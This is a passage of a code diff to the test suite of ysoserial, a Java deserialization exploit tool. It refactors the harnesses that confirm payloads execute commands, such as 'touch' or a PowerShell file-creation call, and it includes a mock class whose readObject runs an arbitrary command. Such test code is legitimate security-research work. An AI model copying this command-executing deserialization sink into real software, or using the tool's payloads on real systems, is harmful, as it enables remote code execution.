+        testFile.deleteOnExit();
+    }
+
+    @Override
+    public String getPayloadArgs() {
+        switch (OS.get()) {
+            case OSX:
+            case LINUX: return "touch " + testFile;
+            case WINDOWS: return "powershell -command new-item -type file " + testFile;
+            default: throw new UnsupportedOperationException("unsupported os");
+        }
+    }
+
+}

src/test/java/ysoserial/payloads/FileUploadTest.java

@@ -10,6 +10,7 @@ import org.junit.Assert;
 import com.google.common.io.Files;
 
 import ysoserial.CustomTest;
+import ysoserial.util.OS;
 
 /**
  * @author mbechler
@@ -18,15 +19,15 @@ import ysoserial.CustomTest;
 public class FileUploadTest implements CustomTest {
 
     /**
-     * 
+     *
      */
     private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF };
     private File source;
     private File repo;
-    
+
-    
+
     /**
-     * 
+     *
      */
     public FileUploadTest () {
         try {
@@ -44,28 +45,31 @@ public class FileUploadTest implements CustomTest {
             Files.write(FDATA, this.source);
             Assert.assertTrue(this.source.exists());
             payload.call();
-            
+
             File found = null;
             for ( File f : this.repo.listFiles()) {
                 found = f;
                 break;
             }
             Assert.assertNotNull("File not copied", found);
-            Assert.assertFalse("Source not deleted", this.source.exists());
+            if (OS.get() != OS.WINDOWS) {
+                // windows' file locking seems to cause this to fail
+                Assert.assertFalse("Source not deleted", this.source.exists());
+            }
             Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found)));
         } finally {
             if ( this.repo.exists()) {
                 for ( File f : this.repo.listFiles()) {
-                    f.delete();
+                    f.deleteOnExit();
                 }
-                this.repo.delete();
+                this.repo.deleteOnExit();
             }
-            this.source.delete();
+            this.source.deleteOnExit();
         }
     }
 
     public String getPayloadArgs () {
-        return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath();
+        return "copyAndDelete;" + this.source.getAbsolutePath() + ";" + this.repo.getAbsolutePath();
     }
 
 }

src/test/java/ysoserial/payloads/PayloadsTest.java

@@ -1,8 +1,6 @@
 package ysoserial.payloads;
 
 
-import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
-
 import java.io.File;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
@@ -12,13 +10,10 @@ import java.util.Arrays;
 import java.util.Set;
 import java.util.concurrent.Callable;
 
-import org.hamcrest.CoreMatchers;
 import org.jboss.shrinkwrap.resolver.api.maven.Maven;
 import org.junit.Assert;
 import org.junit.Assume;
-import org.junit.Rule;
 import org.junit.Test;
-import org.junit.contrib.java.lang.system.ProvideSecurityManager;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 import org.junit.runners.Parameterized.Parameters;
@@ -28,7 +23,7 @@ import ysoserial.CustomPayloadArgs;
 import ysoserial.CustomTest;
 import ysoserial.Deserializer;
 import ysoserial.Serializer;
-import ysoserial.Throwables;
+import ysoserial.util.Throwables;
 import ysoserial.WrappedTest;
 import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
 import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
@@ -52,9 +47,6 @@ TODO: figure out better way to test exception behavior than comparing messages
 @RunWith ( Parameterized.class )
 public class PayloadsTest {
 
-    private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
-
-
     @Parameters ( name = "payloadClass: {0}" )
     public static Class<? extends ObjectPayload<?>>[] payloads () {
         Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
@@ -89,57 +81,43 @@ public class PayloadsTest {
             }
 
             if ( !t.precondition().isEmpty() ) {
-                Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition()));
+                Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition()));
             }
         }
 
         String payloadCommand = command;
         Class<?> customDeserializer = null;
-        Object wrapper = null;
+        Object testHarness = null;
         if ( t != null && !t.harness().isEmpty() ) {
-            Class<?> wrapperClass = Class.forName(t.harness());
+            Class<?> testHarnessClass = Class.forName(t.harness());
             try {
-                wrapper = wrapperClass.getConstructor(String.class).newInstance(command);
+                testHarness = testHarnessClass.getConstructor(String.class).newInstance(command);
             } catch ( NoSuchMethodException e ) {
-                wrapper = wrapperClass.newInstance();
+                testHarness = testHarnessClass.newInstance();
             }
+        } else {
+            testHarness = new CommandExecTest(); // default
+        }
 
-            if ( wrapper instanceof CustomPayloadArgs ) {
+        if ( testHarness instanceof CustomPayloadArgs ) {
-                payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs();
+            payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();
-            }
+        }
 
-            if ( wrapper instanceof CustomDeserializer ) {
+        if ( testHarness instanceof CustomDeserializer ) {
-                customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer();
+            customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
-            }
         }
 
         ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
-        final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand));
+        final byte[] serialized = sm.callWrapped(makeSerializeCallable(payloadClass, payloadCommand));
         Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
-        if ( wrapper instanceof WrappedTest ) {
+        if ( testHarness instanceof WrappedTest ) {
-            callable = ( (WrappedTest) wrapper ).createCallable(callable);
+            callable = ( (WrappedTest) testHarness ).createCallable(callable);
         }
 
-        if ( wrapper instanceof CustomTest ) {
+        if ( testHarness instanceof CustomTest ) {
-            ( (CustomTest) wrapper ).run(callable);
+            ( (CustomTest) testHarness ).run(callable);
             return;
         }
-        try {
-
-            Object deserialized = sm.wrap(callable);
-            Assert.fail(ASSERT_MESSAGE); // should never get here
-        }
-        catch ( Throwable e ) {
-            // hopefully everything will reliably nest our ExecException
-            Throwable innerEx = Throwables.getInnermostCause(e);
-            if ( ! ( innerEx instanceof ExecException ) ) {
-                innerEx.printStackTrace();
-            }
-            Assert.assertEquals(ExecException.class, innerEx.getClass());
-            Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd());
-        }
-
-        Assert.assertEquals(Arrays.asList(command), sm.getCmds());
     }
 
 
@@ -230,7 +208,15 @@ public class PayloadsTest {
 
         Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());
         Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized);
-        final Object obj = deserializer.call();
+
-        return obj;
+        ClassLoader ccl = Thread.currentThread().getContextClassLoader();
+        try {
+            // set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0
+            Thread.currentThread().setContextClassLoader(isolatedClassLoader);
+            final Object obj = deserializer.call();
+            return obj;
+        } finally {
+            Thread.currentThread().setContextClassLoader(ccl);
+        }
     }
 }

src/test/java/ysoserial/payloads/TestHarnessTest.java

@@ -16,7 +16,7 @@ public class TestHarnessTest {
 			PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
 			Assert.fail("should have failed");
 		} catch (AssertionError e) {
-			Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
+			Assert.assertThat(e.getMessage(), CoreMatchers.containsString("test file should exist"));
 
 		}
 	}
@@ -28,7 +28,7 @@ public class TestHarnessTest {
 			PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
 			Assert.fail("should have failed");
 		} catch (AssertionError e) {
-			Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
+			//Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
 		}
 	}
 
@@ -55,9 +55,10 @@ public class TestHarnessTest {
 		private final String cmd;
 		public ExecMockSerializable(String cmd) { this.cmd = cmd; }
 
-		private void readObject(final ObjectInputStream ois) {
+		private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
+		    ois.defaultReadObject();
 			try {
-				Runtime.getRuntime().exec("hostname");
+				Runtime.getRuntime().exec(cmd);
 			} catch (IOException e) {
 				throw new RuntimeException(e);
 			}

src/test/java/ysoserial/util/Callables.java

@@ -0,0 +1,34 @@
+package ysoserial.util;
+
+import java.util.concurrent.Callable;
+
+public class Callables {
+    public static interface BeforeAfterCallback {
+        public void before();
+        public void after();
+    }
+
+    public static class Wrapper<T> implements Callable<T> {
+        private final Callable<T> callable;
+        private final BeforeAfterCallback callback;
+
+        public Wrapper(Callable<T> callable, BeforeAfterCallback callback) {
+            this.callable = callable;
+            this.callback = callback;
+        }
+
+        @Override
+        public T call() throws Exception {
+            try {
+                callback.before();
+                return callable.call();
+            } finally {
+                callback.after();
+            }
+        }
+    }
+
+    public static <T> Callable<T> wrap(Callable<T> callable, BeforeAfterCallback callback) {
+        return new Wrapper<T>(callable, callback);
+    }
+}

src/test/java/ysoserial/util/Files.java

@@ -0,0 +1,12 @@
+package ysoserial.util;
+
+import java.io.File;
+
+public class Files {
+    public static void waitForFile(File file, int timeoutMs) throws InterruptedException {
+        long timeout = System.currentTimeMillis() + timeoutMs;
+        while (! file.exists() && System.currentTimeMillis() < timeout) {
+            Thread.sleep(10);
+        }
+    }
+}

src/test/java/ysoserial/util/OS.java

@@ -0,0 +1,31 @@
+package ysoserial.util;
+
+public enum OS {
+    WINDOWS,
+    LINUX,
+    OSX,
+    OTHER;
+
+    private static final OS os = determineOs();
+
+    public static OS get() {
+        return os;
+    }
+
+    private static OS determineOs() {
+        String osName = System.getProperty("os.name", "other").toLowerCase();
+        if (osName.contains("windows")) {
+            return WINDOWS;
+        } else if (osName.contains("mac os x")) {
+            return OSX;
+        } else if (osName.contains("linux")) {
+            return LINUX;
+        } else {
+            return OTHER;
+        }
+    }
+
+    public static String getTmpDir() {
+        return System.getProperty("java.io.tmpdir");
+    }
+}

src/test/java/ysoserial/util/Throwables.java

@@ -1,8 +1,8 @@
-package ysoserial;
+package ysoserial.util;
 
 public class Throwables {
 	public static Throwable getInnermostCause(final Throwable t) {
 		final Throwable cause = t.getCause();
-		return cause == null || cause == t ? t : getInnermostCause(cause);  
+		return cause == null || cause == t ? t : getInnermostCause(cause);
-	}		
+	}
-}
+}